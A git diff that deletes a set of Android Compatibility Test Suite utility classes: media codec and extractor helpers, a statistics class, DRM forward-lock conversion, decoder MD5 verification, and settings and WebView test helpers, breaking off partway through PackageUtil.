- } catch (IllegalArgumentException e) {
- // mime is not supported
- Log.w(TAG, "not supported mime: " + mime);
- return null;
- }
- VideoCapabilities vidCaps = caps.getVideoCapabilities();
- if (vidCaps == null) {
- Log.w(TAG, "not a video codec: " + codecName);
- }
- return vidCaps;
- }
- Log.w(TAG, "codec not found: " + codecName);
- return null;
- }
-
- public static MediaFormat getTrackFormatForResource(
- Context context,
- int resourceId,
- String mimeTypePrefix) throws IOException {
- MediaExtractor extractor = new MediaExtractor();
- AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
- try {
- extractor.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- } finally {
- afd.close();
- }
- return getTrackFormatForExtractor(extractor, mimeTypePrefix);
- }
-
- public static MediaFormat getTrackFormatForPath(
- Context context, String path, String mimeTypePrefix)
- throws IOException {
- MediaExtractor extractor = getExtractorForPath(context, path);
- return getTrackFormatForExtractor(extractor, mimeTypePrefix);
- }
-
- private static MediaFormat getTrackFormatForExtractor(
- MediaExtractor extractor,
- String mimeTypePrefix) {
- int trackIndex;
- MediaFormat format = null;
- for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
- MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
- if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
- format = trackMediaFormat;
- break;
- }
- }
- extractor.release();
- if (format == null) {
- throw new RuntimeException("couldn't get a track for " + mimeTypePrefix);
- }
-
- return format;
- }
-
- public static MediaExtractor createMediaExtractorForMimeType(
- Context context, int resourceId, String mimeTypePrefix)
- throws IOException {
- MediaExtractor extractor = new MediaExtractor();
- AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
- try {
- extractor.setDataSource(
- afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- } finally {
- afd.close();
- }
- int trackIndex;
- for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
- MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
- if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
- extractor.selectTrack(trackIndex);
- break;
- }
- }
- if (trackIndex == extractor.getTrackCount()) {
- extractor.release();
- throw new IllegalStateException("couldn't get a track for " + mimeTypePrefix);
- }
-
- return extractor;
- }
-
- /*
- * ---------------------- HELPER METHODS FOR CODEC CONFIGURATION
- */
-
- /** Format must contain mime, width and height.
- * Throws Exception if encoder does not support this width and height */
- public static void setMaxEncoderFrameAndBitrates(
- MediaCodec encoder, MediaFormat format, int maxFps) {
- String mime = format.getString(MediaFormat.KEY_MIME);
-
- VideoCapabilities vidCaps =
- encoder.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
- setMaxEncoderFrameAndBitrates(vidCaps, format, maxFps);
- }
-
- public static void setMaxEncoderFrameAndBitrates(
- VideoCapabilities vidCaps, MediaFormat format, int maxFps) {
- int width = format.getInteger(MediaFormat.KEY_WIDTH);
- int height = format.getInteger(MediaFormat.KEY_HEIGHT);
-
- int maxWidth = vidCaps.getSupportedWidths().getUpper();
- int maxHeight = vidCaps.getSupportedHeightsFor(maxWidth).getUpper();
- int frameRate = Math.min(
- maxFps, vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue());
- format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
-
- int bitrate = vidCaps.getBitrateRange().clamp(
- (int)(vidCaps.getBitrateRange().getUpper() /
- Math.sqrt((double)maxWidth * maxHeight / width / height)));
- format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
- }
-
- /*
- * ------------------ HELPER METHODS FOR STATISTICS AND REPORTING ------------------
- */
-
- // TODO: migrate this into com.android.compatibility.common.util.Stat
- public static class Stats {
- /** does not support NaN or Inf in |data| */
- public Stats(double[] data) {
- mData = data;
- if (mData != null) {
- mNum = mData.length;
- }
- }
-
- public int getNum() {
- return mNum;
- }
-
- /** calculate mSumX and mSumXX */
- private void analyze() {
- if (mAnalyzed) {
- return;
- }
-
- if (mData != null) {
- for (double x : mData) {
- if (!(x >= mMinX)) { // mMinX may be NaN
- mMinX = x;
- }
- if (!(x <= mMaxX)) { // mMaxX may be NaN
- mMaxX = x;
- }
- mSumX += x;
- mSumXX += x * x;
- }
- }
- mAnalyzed = true;
- }
-
- /** returns the maximum or NaN if it does not exist */
- public double getMin() {
- analyze();
- return mMinX;
- }
-
- /** returns the minimum or NaN if it does not exist */
- public double getMax() {
- analyze();
- return mMaxX;
- }
-
- /** returns the average or NaN if it does not exist. */
- public double getAverage() {
- analyze();
- if (mNum == 0) {
- return Double.NaN;
- } else {
- return mSumX / mNum;
- }
- }
-
- /** returns the standard deviation or NaN if it does not exist. */
- public double getStdev() {
- analyze();
- if (mNum == 0) {
- return Double.NaN;
- } else {
- double average = mSumX / mNum;
- return Math.sqrt(mSumXX / mNum - average * average);
- }
- }
-
- /** returns the statistics for the moving average over n values */
- public Stats movingAverage(int n) {
- if (n < 1 || mNum < n) {
- return new Stats(null);
- } else if (n == 1) {
- return this;
- }
-
- double[] avgs = new double[mNum - n + 1];
- double sum = 0;
- for (int i = 0; i < mNum; ++i) {
- sum += mData[i];
- if (i >= n - 1) {
- avgs[i - n + 1] = sum / n;
- sum -= mData[i - n + 1];
- }
- }
- return new Stats(avgs);
- }
-
- /** returns the statistics for the moving average over a window over the
- * cumulative sum. Basically, moves a window from: [0, window] to
- * [sum - window, sum] over the cumulative sum, over ((sum - window) / average)
- * steps, and returns the average value over each window.
- * This method is used to average time-diff data over a window of a constant time.
- */
- public Stats movingAverageOverSum(double window) {
- if (window <= 0 || mNum < 1) {
- return new Stats(null);
- }
-
- analyze();
- double average = mSumX / mNum;
- if (window >= mSumX) {
- return new Stats(new double[] { average });
- }
- int samples = (int)Math.ceil((mSumX - window) / average);
- double[] avgs = new double[samples];
-
- // A somewhat brute force approach to calculating the moving average.
- // TODO: add support for weights in Stats, so we can do a more refined approach.
- double sum = 0; // sum of elements in the window
- int num = 0; // number of elements in the moving window
- int bi = 0; // index of the first element in the moving window
- int ei = 0; // index of the last element in the moving window
- double space = window; // space at the end of the window
- double foot = 0; // space at the beginning of the window
-
- // invariants: foot + sum + space == window
- // bi + num == ei
- //
- // window: |-------------------------------|
- // | <-----sum------> |
- // <foot> <---space-->
- // | |
- // intervals: |-----------|-------|-------|--------------------|--------|
- // ^bi ^ei
-
- int ix = 0; // index in the result
- while (ix < samples) {
- // add intervals while there is space in the window
- while (ei < mData.length && mData[ei] <= space) {
- space -= mData[ei];
- sum += mData[ei];
- num++;
- ei++;
- }
-
- // calculate average over window and deal with odds and ends (e.g. if there are no
- // intervals in the current window: pick whichever element overlaps the window
- // most.
- if (num > 0) {
- avgs[ix++] = sum / num;
- } else if (bi > 0 && foot > space) {
- // consider previous
- avgs[ix++] = mData[bi - 1];
- } else if (ei == mData.length) {
- break;
- } else {
- avgs[ix++] = mData[ei];
- }
-
- // move the window to the next position
- foot -= average;
- space += average;
-
- // remove intervals that are now partially or wholly outside of the window
- while (bi < ei && foot < 0) {
- foot += mData[bi];
- sum -= mData[bi];
- num--;
- bi++;
- }
- }
- return new Stats(Arrays.copyOf(avgs, ix));
- }
-
- /** calculate mSortedData */
- private void sort() {
- if (mSorted || mNum == 0) {
- return;
- }
- mSortedData = Arrays.copyOf(mData, mNum);
- Arrays.sort(mSortedData);
- mSorted = true;
- }
-
- /** returns an array of percentiles for the points using nearest rank */
- public double[] getPercentiles(double... points) {
- sort();
- double[] res = new double[points.length];
- for (int i = 0; i < points.length; ++i) {
- if (mNum < 1 || points[i] < 0 || points[i] > 100) {
- res[i] = Double.NaN;
- } else {
- res[i] = mSortedData[(int)Math.round(points[i] / 100 * (mNum - 1))];
- }
- }
- return res;
- }
-
- @Override
- public boolean equals(Object o) {
- if (o instanceof Stats) {
- Stats other = (Stats)o;
- if (other.mNum != mNum) {
- return false;
- } else if (mNum == 0) {
- return true;
- }
- return Arrays.equals(mData, other.mData);
- }
- return false;
- }
-
- private double[] mData;
- private double mSumX = 0;
- private double mSumXX = 0;
- private double mMinX = Double.NaN;
- private double mMaxX = Double.NaN;
- private int mNum = 0;
- private boolean mAnalyzed = false;
- private double[] mSortedData;
- private boolean mSorted = false;
- }
-
- /**
- * Convert a forward lock .dm message stream to a .fl file
- * @param context Context to use
- * @param dmStream The .dm message
- * @param flFile The output file to be written
- * @return success
- */
- public static boolean convertDmToFl(
- Context context,
- InputStream dmStream,
- RandomAccessFile flFile) {
- final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
- byte[] dmData = new byte[10000];
- int totalRead = 0;
- int numRead;
- while (true) {
- try {
- numRead = dmStream.read(dmData, totalRead, dmData.length - totalRead);
- } catch (IOException e) {
- Log.w(TAG, "Failed to read from input file");
- return false;
- }
- if (numRead == -1) {
- break;
- }
- totalRead += numRead;
- if (totalRead == dmData.length) {
- // grow array
- dmData = Arrays.copyOf(dmData, dmData.length + 10000);
- }
- }
- byte[] fileData = Arrays.copyOf(dmData, totalRead);
-
- DrmManagerClient drmClient = null;
- try {
- drmClient = new DrmManagerClient(context);
- } catch (IllegalArgumentException e) {
- Log.w(TAG, "DrmManagerClient instance could not be created, context is Illegal.");
- return false;
- } catch (IllegalStateException e) {
- Log.w(TAG, "DrmManagerClient didn't initialize properly.");
- return false;
- }
-
- try {
- int convertSessionId = -1;
- try {
- convertSessionId = drmClient.openConvertSession(MIMETYPE_DRM_MESSAGE);
- } catch (IllegalArgumentException e) {
- Log.w(TAG, "Conversion of Mimetype: " + MIMETYPE_DRM_MESSAGE
- + " is not supported.", e);
- return false;
- } catch (IllegalStateException e) {
- Log.w(TAG, "Could not access Open DrmFramework.", e);
- return false;
- }
-
- if (convertSessionId < 0) {
- Log.w(TAG, "Failed to open session.");
- return false;
- }
-
- DrmConvertedStatus convertedStatus = null;
- try {
- convertedStatus = drmClient.convertData(convertSessionId, fileData);
- } catch (IllegalArgumentException e) {
- Log.w(TAG, "Buffer with data to convert is illegal. Convertsession: "
- + convertSessionId, e);
- return false;
- } catch (IllegalStateException e) {
- Log.w(TAG, "Could not convert data. Convertsession: " + convertSessionId, e);
- return false;
- }
-
- if (convertedStatus == null ||
- convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
- convertedStatus.convertedData == null) {
- Log.w(TAG, "Error in converting data. Convertsession: " + convertSessionId);
- try {
- DrmConvertedStatus result = drmClient.closeConvertSession(convertSessionId);
- if (result.statusCode != DrmConvertedStatus.STATUS_OK) {
- Log.w(TAG, "Conversion failed with status: " + result.statusCode);
- return false;
- }
- } catch (IllegalStateException e) {
- Log.w(TAG, "Could not close session. Convertsession: " +
- convertSessionId, e);
- }
- return false;
- }
-
- try {
- flFile.write(convertedStatus.convertedData, 0, convertedStatus.convertedData.length);
- } catch (IOException e) {
- Log.w(TAG, "Failed to write to output file: " + e);
- return false;
- }
-
- try {
- convertedStatus = drmClient.closeConvertSession(convertSessionId);
- } catch (IllegalStateException e) {
- Log.w(TAG, "Could not close convertsession. Convertsession: " +
- convertSessionId, e);
- return false;
- }
-
- if (convertedStatus == null ||
- convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
- convertedStatus.convertedData == null) {
- Log.w(TAG, "Error in closing session. Convertsession: " + convertSessionId);
- return false;
- }
-
- try {
- flFile.seek(convertedStatus.offset);
- flFile.write(convertedStatus.convertedData);
- } catch (IOException e) {
- Log.w(TAG, "Could not update file.", e);
- return false;
- }
-
- return true;
- } finally {
- drmClient.close();
- }
- }
-
- /**
- * @param decoder new MediaCodec object
- * @param ex MediaExtractor after setDataSource and selectTrack
- * @param frameMD5Sums reference MD5 checksum for decoded frames
- * @return true if decoded frames checksums matches reference checksums
- * @throws IOException
- */
- public static boolean verifyDecoder(
- MediaCodec decoder, MediaExtractor ex, List<String> frameMD5Sums)
- throws IOException {
-
- int trackIndex = ex.getSampleTrackIndex();
- MediaFormat format = ex.getTrackFormat(trackIndex);
- decoder.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
- decoder.start();
-
- boolean sawInputEOS = false;
- boolean sawOutputEOS = false;
- final long kTimeOutUs = 5000; // 5ms timeout
- int decodedFrameCount = 0;
- int expectedFrameCount = frameMD5Sums.size();
- MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-
- while (!sawOutputEOS) {
- // handle input
- if (!sawInputEOS) {
- int inIdx = decoder.dequeueInputBuffer(kTimeOutUs);
- if (inIdx >= 0) {
- ByteBuffer buffer = decoder.getInputBuffer(inIdx);
- int sampleSize = ex.readSampleData(buffer, 0);
- if (sampleSize < 0) {
- final int flagEOS = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
- decoder.queueInputBuffer(inIdx, 0, 0, 0, flagEOS);
- sawInputEOS = true;
- } else {
- decoder.queueInputBuffer(inIdx, 0, sampleSize, ex.getSampleTime(), 0);
- ex.advance();
- }
- }
- }
-
- // handle output
- int outputBufIndex = decoder.dequeueOutputBuffer(info, kTimeOutUs);
- if (outputBufIndex >= 0) {
- try {
- if (info.size > 0) {
- // Disregard 0-sized buffers at the end.
- String md5CheckSum = "";
- Image image = decoder.getOutputImage(outputBufIndex);
- md5CheckSum = getImageMD5Checksum(image);
-
- if (!md5CheckSum.equals(frameMD5Sums.get(decodedFrameCount))) {
- Log.d(TAG,
- String.format(
- "Frame %d md5sum mismatch: %s(actual) vs %s(expected)",
- decodedFrameCount, md5CheckSum,
- frameMD5Sums.get(decodedFrameCount)));
- return false;
- }
-
- decodedFrameCount++;
- }
- } catch (Exception e) {
- Log.e(TAG, "getOutputImage md5CheckSum failed", e);
- return false;
- } finally {
- decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
- }
- if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- sawOutputEOS = true;
- }
- } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
- MediaFormat decOutputFormat = decoder.getOutputFormat();
- Log.d(TAG, "output format " + decOutputFormat);
- } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
- Log.i(TAG, "Skip handling MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED");
- } else if (outputBufIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
- continue;
- } else {
- Log.w(TAG, "decoder.dequeueOutputBuffer() unrecognized index: " + outputBufIndex);
- return false;
- }
- }
-
- if (decodedFrameCount != expectedFrameCount) {
- return false;
- }
-
- return true;
- }
-
- public static String getImageMD5Checksum(Image image) throws Exception {
- int format = image.getFormat();
- if (ImageFormat.YUV_420_888 != format) {
- Log.w(TAG, "unsupported image format");
- return "";
- }
-
- MessageDigest md = MessageDigest.getInstance("MD5");
-
- Rect crop = image.getCropRect();
- int cropLeft = crop.left;
- int cropRight = crop.right;
- int cropTop = crop.top;
- int cropBottom = crop.bottom;
-
- int imageWidth = cropRight - cropLeft;
- int imageHeight = cropBottom - cropTop;
-
- Image.Plane[] planes = image.getPlanes();
- for (int i = 0; i < planes.length; ++i) {
- ByteBuffer buf = planes[i].getBuffer();
-
- int width, height, rowStride, pixelStride, x, y, top, left;
- rowStride = planes[i].getRowStride();
- pixelStride = planes[i].getPixelStride();
- if (i == 0) {
- width = imageWidth;
- height = imageHeight;
- left = cropLeft;
- top = cropTop;
- } else {
- width = imageWidth / 2;
- height = imageHeight /2;
- left = cropLeft / 2;
- top = cropTop / 2;
- }
- // local contiguous pixel buffer
- byte[] bb = new byte[width * height];
- if (buf.hasArray()) {
- byte b[] = buf.array();
- int offs = buf.arrayOffset() + left * pixelStride;
- if (pixelStride == 1) {
- for (y = 0; y < height; ++y) {
- System.arraycopy(bb, y * width, b, (top + y) * rowStride + offs, width);
- }
- } else {
- // do it pixel-by-pixel
- for (y = 0; y < height; ++y) {
- int lineOffset = offs + (top + y) * rowStride;
- for (x = 0; x < width; ++x) {
- bb[y * width + x] = b[lineOffset + x * pixelStride];
- }
- }
- }
- } else { // almost always ends up here due to direct buffers
- int pos = buf.position();
- if (pixelStride == 1) {
- for (y = 0; y < height; ++y) {
- buf.position(pos + left + (top + y) * rowStride);
- buf.get(bb, y * width, width);
- }
- } else {
- // local line buffer
- byte[] lb = new byte[rowStride];
- // do it pixel-by-pixel
- for (y = 0; y < height; ++y) {
- buf.position(pos + left * pixelStride + (top + y) * rowStride);
- // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
- buf.get(lb, 0, pixelStride * (width - 1) + 1);
- for (x = 0; x < width; ++x) {
- bb[y * width + x] = lb[x * pixelStride];
- }
- }
- }
- buf.position(pos);
- }
- md.update(bb, 0, width * height);
- }
-
- return convertByteArrayToHEXString(md.digest());
- }
-
- private static String convertByteArrayToHEXString(byte[] ba) throws Exception {
- StringBuilder result = new StringBuilder();
- for (int i = 0; i < ba.length; i++) {
- result.append(Integer.toString((ba[i] & 0xff) + 0x100, 16).substring(1));
- }
- return result.toString();
- }
-
-
- /*
- * -------------------------------------- END --------------------------------------
- */
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MoreMatchers.java b/common/device-side/util/src/com/android/compatibility/common/util/MoreMatchers.java
deleted file mode 100644
index cee610e..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/MoreMatchers.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.mockito.ArgumentMatchers;
-
-public class MoreMatchers {
- private MoreMatchers() {
- }
-
- public static <T> T anyOrNull(Class<T> clazz) {
- return ArgumentMatchers.argThat(value -> true);
- }
-
- public static String anyStringOrNull() {
- return ArgumentMatchers.argThat(value -> true);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java
deleted file mode 100644
index 3153adb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-
-/**
- * Utilities to enable the android.webkit.* CTS tests (and others that rely on a functioning
- * android.webkit.WebView implementation) to determine whether a functioning WebView is present
- * on the device or not.
- *
- * Test cases that require android.webkit.* classes should wrap their first usage of WebView in a
- * try catch block, and pass any exception that is thrown to
- * NullWebViewUtils.determineIfWebViewAvailable. The return value of
- * NullWebViewUtils.isWebViewAvailable will then determine if the test should expect to be able to
- * use a WebView.
- */
-public class NullWebViewUtils {
-
- private static boolean sWebViewUnavailable;
-
- /**
- * @param context Current Activity context, used to query the PackageManager.
- * @param t An exception thrown by trying to invoke android.webkit.* APIs.
- */
- public static void determineIfWebViewAvailable(Context context, Throwable t) {
- sWebViewUnavailable = !hasWebViewFeature(context) && checkCauseWasUnsupportedOperation(t);
- }
-
- /**
- * After calling determineIfWebViewAvailable, this returns whether a WebView is available on the
- * device and wheter the test can rely on it.
- * @return True iff. PackageManager determined that there is no WebView on the device and the
- * exception thrown from android.webkit.* was UnsupportedOperationException.
- */
- public static boolean isWebViewAvailable() {
- return !sWebViewUnavailable;
- }
-
- private static boolean hasWebViewFeature(Context context) {
- // Query the system property that determins if there is a functional WebView on the device.
- PackageManager pm = context.getPackageManager();
- return pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
- }
-
- private static boolean checkCauseWasUnsupportedOperation(Throwable t) {
- if (t == null) return false;
- while (t.getCause() != null) {
- t = t.getCause();
- }
- return t instanceof UnsupportedOperationException;
- }
-
- /**
- * Some CTS tests (by design) first use android.webkit.* from a background thread. This helper
- * allows the test to catch the UnsupportedOperationException from that background thread, and
- * then query the result from the test main thread.
- */
- public static class NullWebViewFromThreadExceptionHandler
- implements Thread.UncaughtExceptionHandler {
- private Throwable mPendingException;
-
- @Override
- public void uncaughtException(Thread t, Throwable e) {
- mPendingException = e;
- }
-
- public boolean isWebViewAvailable(Context context) {
- return hasWebViewFeature(context) ||
- !checkCauseWasUnsupportedOperation(mPendingException);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/OnFailureRule.java b/common/device-side/util/src/com/android/compatibility/common/util/OnFailureRule.java
deleted file mode 100644
index 585c145..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/OnFailureRule.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that provides a callback upon test failures.
- */
-public abstract class OnFailureRule implements TestRule {
- private String mLogTag = "OnFailureRule";
-
- public OnFailureRule() {
- }
-
- public OnFailureRule(String logTag) {
- mLogTag = logTag;
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- try {
- base.evaluate();
- } catch (Throwable t) {
- Log.e(mLogTag, "Test failed: description=" + description + "\nThrowable=" + t);
- onTestFailure(base, description, t);
- throw t;
- }
- }
- };
- }
-
- protected abstract void onTestFailure(Statement base, Description description, Throwable t);
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java b/common/device-side/util/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
deleted file mode 100644
index e5be3f41..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-import android.provider.DeviceConfig;
-import android.provider.DeviceConfig.OnPropertiesChangedListener;
-import android.provider.DeviceConfig.Properties;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import com.google.common.base.Preconditions;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper used to block tests until a device config value has been updated.
- */
-public final class OneTimeDeviceConfigListener implements OnPropertiesChangedListener {
-
- public static final long DEFAULT_TIMEOUT_MS = 5_000;
-
- private static final String TAG = OneTimeDeviceConfigListener.class.getSimpleName();
-
- private final String mNamespace;
- private final String mKey;
- private final long mTimeoutMs;
- private final long mStarted = SystemClock.elapsedRealtime();
-
- private final CountDownLatch mLatch = new CountDownLatch(1);
-
- public OneTimeDeviceConfigListener(@NonNull String namespace, @NonNull String key) {
- this(namespace, key, DEFAULT_TIMEOUT_MS);
- }
-
- public OneTimeDeviceConfigListener(@NonNull String namespace, @NonNull String key,
- long timeoutMs) {
- mNamespace = Preconditions.checkNotNull(namespace);
- mKey = Preconditions.checkNotNull(key);
- mTimeoutMs = timeoutMs;
- }
-
- @Override
- public void onPropertiesChanged(@NonNull Properties properties) {
- if (!properties.getNamespace().equals(mNamespace)
- || !properties.getKeyset().contains(mKey)) {
- Log.d(TAG, "ignoring callback for namespace: " + properties.getNamespace());
- return;
- }
- mLatch.countDown();
- DeviceConfig.removeOnPropertiesChangedListener(this);
- }
-
- /**
- * Blocks for a few seconds until it's called.
- *
- * @throws IllegalStateException if it's not called.
- */
- public void assertCalled() {
- try {
- final boolean updated = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
- if (!updated) {
- throw new RetryableException(
- "Settings " + mKey + " not called in " + mTimeoutMs + "ms");
- }
- final long delta = SystemClock.elapsedRealtime() - mStarted;
- Log.v(TAG, TestNameUtils.getCurrentTestName() + "/" + mKey + ": " + delta + "ms");
- } catch (InterruptedException e) {
- Thread.currentThread().interrupt();
- throw new IllegalStateException("Interrupted", e);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeSettingsListener.java b/common/device-side/util/src/com/android/compatibility/common/util/OneTimeSettingsListener.java
deleted file mode 100644
index 79c80c9..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeSettingsListener.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
-import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_SECURE;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.database.ContentObserver;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper used to block tests until a secure settings value has been updated.
- */
-public final class OneTimeSettingsListener extends ContentObserver {
-
- private static final String TAG = "OneTimeSettingsListener";
- public static final long DEFAULT_TIMEOUT_MS = 30_000;
-
- private final CountDownLatch mLatch = new CountDownLatch(1);
- private final ContentResolver mResolver;
- private final String mKey;
- private final long mStarted;
-
- public OneTimeSettingsListener(Context context, String namespace, String key) {
- super(new Handler(Looper.getMainLooper()));
- mStarted = SystemClock.elapsedRealtime();
- mKey = key;
- mResolver = context.getContentResolver();
- final Uri uri;
- switch (namespace) {
- case NAMESPACE_SECURE:
- uri = Settings.Secure.getUriFor(key);
- break;
- case NAMESPACE_GLOBAL:
- uri = Settings.Global.getUriFor(key);
- break;
- default:
- throw new IllegalArgumentException("invalid namespace: " + namespace);
- }
- mResolver.registerContentObserver(uri, false, this);
- }
-
- @Override
- public void onChange(boolean selfChange, Uri uri) {
- mResolver.unregisterContentObserver(this);
- mLatch.countDown();
- }
-
- /**
- * Blocks for a few seconds until it's called.
- *
- * @throws IllegalStateException if it's not called.
- */
- public void assertCalled() {
- try {
- final boolean updated = mLatch.await(DEFAULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- if (!updated) {
- throw new RetryableException(
- "Settings " + mKey + " not called in " + DEFAULT_TIMEOUT_MS + "ms");
- }
- final long delta = SystemClock.elapsedRealtime() - mStarted;
- // TODO: usually it's notified in ~50-150ms, but for some reason it takes ~10s
- // on some ViewAttributesTest methods, hence the 30s limit
- Log.v(TAG, TestNameUtils.getCurrentTestName() + "/" + mKey + ": " + delta + "ms");
- } catch (InterruptedException e) {
- Thread.currentThread().interrupt();
- throw new IllegalStateException("Interrupted", e);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
deleted file mode 100644
index e7b6976..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Build;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-
-/**
- * Device-side utility class for PackageManager-related operations
- */
-public class PackageUtil {
-
- private static final String TAG = PackageUtil.class.getSimpleName();
-
- private static final int SYSTEM_APP_MASK =
